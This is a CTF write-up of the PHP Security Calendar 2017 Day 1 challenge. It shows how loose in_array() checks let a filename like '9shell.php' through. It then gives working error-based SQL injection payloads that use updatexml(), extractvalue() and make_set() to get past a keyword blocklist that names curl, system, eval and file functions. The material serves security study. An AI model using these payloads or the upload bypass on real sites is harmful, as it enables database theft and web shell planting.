Reflections on PHP Security Calendar 2017

Summary0x01 Background. Day 1, Wish List: Can you spot the vulnerability? The key lies in in_array(). Its definition is in_array(search, array, type)…

PHP SECURITY CALENDAR 2017

0x01 Background

Day 1 - Wish List

Can you spot the vulnerability?

TEXT
class Challenge {
  const UPLOAD_DIRECTORY = './solutions/';
  private $file;
  private $whitelist;

  public function __construct($file) {
    $this->file = $file;
    $this->whitelist = range(1, 24);
  }

  public function __destruct() {
    if (in_array($this->file['name'], $this->whitelist)) {
      move_uploaded_file(
        $this->file['tmp_name'],
        self::UPLOAD_DIRECTORY . $this->file['name']
      );
    }
  }
}

$challenge = new Challenge($_FILES['solution']);

The key issue is in_array().function; first examineDefinition of in_array():

in_array(search,array,type)

Parameter Description
search Required. The value to search for in the array.
array Required. The array to search.
type Optional. When true, both value and type must match.

If search exists in array, the function returns true. With type=true, both value and type must match. Otherwise it returns false. When search is a string and type=true, matching is case-sensitive.

In the example above:

TEXT
in_array($this->file['name'], $this->whitelist)

Only two arguments are supplied and the third is not true. A filename beginning with a number, such as 9shell.php, therefore bypasses the check.

When PHP compares the filename with the whitelist array, 9shell.php is converted to the number 9 before comparison.

0x02 Further Analysis

A CTF example illustrates the issue:

TEXT
//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("Connection failed: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    echo "<center><table border='1'>";
    foreach ($row as $key => $value) {
        echo "<tr><td><center>$key</center></td><br>";
        echo "<td><center>$value</center></td></tr><br>";
    }
    echo "</table></center>";
}
else{
    die($conn->error);
}

?>
TEXT
//config.php
<?php
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";

function stop_hack($value){
	$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
	$back_list = explode("|",$pattern);
	foreach($back_list as $hack){
		if(preg_match("/$hack/i", $value))
			die("$hack detected!");
	}
	return $value;
}
?>

The challenge uses an exposed .svn directory to recover index.php and config.php. Sensitive information in config.php is hidden, so the source must be audited to construct a payload and retrieve the flag.

index.php reads id from GET and checks whether it is in the whitelist. If not, it returns 'id $id is not in whitelist'; if allowed, it executes an SQL query and returns the result.

The key in config.php is stop_hack, a filter that blocks string-concatenation functions. This prevents direct use of UNION SELECT and common functions such as hex() to recover the flag.

The challenge tests an in_array() bypass and extraction of the flag without conventional string concatenation.

The in_array() bypass should now be clear. The focus here is using UpdateXML injection to retrieve the flag.

UPDATEXML (XML_document, XPath_string, new_value);

Argument 1, XML_document, is the XML document name as a string—Doc here. Argument 2, XPath_string, is an XPath expression. Argument 3, new_value, is the replacement string. The function changes values of matching nodes in the document.

A simple example is:

TEXT
select * from users where id=1 and updatexml(1,concat(0x7c,(select database()),0x7c),1);

Figure 1 UpdateXML has a useful property: when queried data contains a letter or special character, its error message includes that character and the content following it. Querying 99panda, for example, displays panda.

database() returns the database name and CONCAT converts it to a string. UpdateXML expects its second argument to be an XPath string, so the invalid value produces an error containing the data.

The final value is:

TEXT
ERROR 1105 (HY000): XPATH syntax error: '|day1|'

String concatenation is filtered, so CONCAT cannot be used. A less common function—make_set()—provides an alternative.

MAKE_SET(bits,str1,str2,…)

Returns a string containing selected values separated by the delimiter ','. str1 corresponds to bit 0, str2 to bit 1, and so on. NULL entries are omitted. Figure 2 Several simple examples follow. Figure 3

TEXT
Select make_set(1,'a','b','c');

The conversion is: Figure 4

bits becomes binary. 1 is 0001, reversed to 1000. Characters at set bits are selected unless empty, so the result is a. Figure 5

TEXT
Select make_set(1|4,'a','b','c');

This resembles the previous process but includes a bitwise OR. 1 is 0001, 4 is 0100, and OR produces: Figure 6 The result is 0101, reversed to 1010, producing a and c.

In summary, combine UpdateXML with make_set() to process the string:

TEXT
select updatexml(1,make_set(3,'~',(select flag from flag)),1);

The final payload contains: Figure 7

TEXT
1 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

0x03 Conclusion

UpdateXML is not the only solution.

ExtractValue() is a counterpart to UpdateXML().

The details of ExtractValue are omitted; interested readers can look them up. The function enables a similar MySQL statement: Figure 8

TEXT
select extractvalue(0x0a,concat(0x0a,( select flag from flag)));

It also requires CONCAT, so replace it with make_set(): Figure 9

TEXT
select extractvalue(0x0a,make_set(3,'~',(select flag from flag)));

The final payload is: Figure 10

TEXT
1 and (select extractvalue(0x0a,make_set(3,'~',(select flag from flag))))

make_set() is not the only option. Similar functions include export_set(), lpad(), reverse(), and repeat(), though the latter three require at least one special character in the extracted value. Using export_set() instead produces:

TEXT
1 and (select extractvalue(0x0a,export_set(3,'~',(select flag from flag))))

But then we find: Figure 11 A direct MySQL query does work:

Figure 12 Closer inspection shows that export_set() contains the letters 'or', which are filtered, so this path fails.

0x04 References

PHP SECURITY CALENDAR 2017

MySQL MAKE_SET() function

MySQL UpdateXML Error-Based Injection

Learning Error-Based Injection with ExtractValue() and UpdateXML()

PHP-Audit-Labs

updatexml injection without concat